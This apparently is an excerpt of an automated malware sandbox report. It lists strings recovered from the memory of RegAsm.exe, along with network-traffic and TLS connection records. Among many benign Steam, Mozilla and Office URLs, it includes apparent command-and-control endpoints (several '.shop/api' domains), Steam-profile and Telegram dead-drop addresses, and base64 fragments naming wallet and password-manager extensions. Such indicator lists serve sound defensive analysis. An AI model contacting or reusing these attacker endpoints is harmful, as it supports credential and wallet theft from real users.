Source: RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/api
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/api
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2070291004.0000000003220000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/.
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/B/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900f
Source: userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000008.00000002.2627711510.00000000010B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/api
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/apiU
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: RegAsm.exe, 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/api
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2636360630.000000001C0BD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2924643439.00000000004D4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59788
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59738
Source: unknown	Network traffic detected: HTTP traffic on port 59749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59739
Source: unknown	Network traffic detected: HTTP traffic on port 59788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59736
Source: unknown	Network traffic detected: HTTP traffic on port 59763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59735
Source: unknown	Network traffic detected: HTTP traffic on port 59780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59743
Source: unknown	Network traffic detected: HTTP traffic on port 59794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59742
Source: unknown	Network traffic detected: HTTP traffic on port 59735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59749
Source: unknown	Network traffic detected: HTTP traffic on port 59762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59748
Source: unknown	Network traffic detected: HTTP traffic on port 59785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59750
Source: unknown	Network traffic detected: HTTP traffic on port 59736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59759
Source: unknown	Network traffic detected: HTTP traffic on port 59765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59758
Source: unknown	Network traffic detected: HTTP traffic on port 59782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59763
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59762
Source: unknown	Network traffic detected: HTTP traffic on port 59768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59760
Source: unknown	Network traffic detected: HTTP traffic on port 59750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59769
Source: unknown	Network traffic detected: HTTP traffic on port 59748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59774
Source: unknown	Network traffic detected: HTTP traffic on port 59767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59773
Source: unknown	Network traffic detected: HTTP traffic on port 59793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59771
Source: unknown	Network traffic detected: HTTP traffic on port 59751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 59784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59785
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59784
Source: unknown	Network traffic detected: HTTP traffic on port 59742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59782
Source: unknown	Network traffic detected: HTTP traffic on port 59790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59773 -> 443

Source: unknown	HTTPS traffic detected: 172.105.54.160:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:59733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:59735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.4:59737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.4:59740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.4:59742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59743 version: TLS 1.2
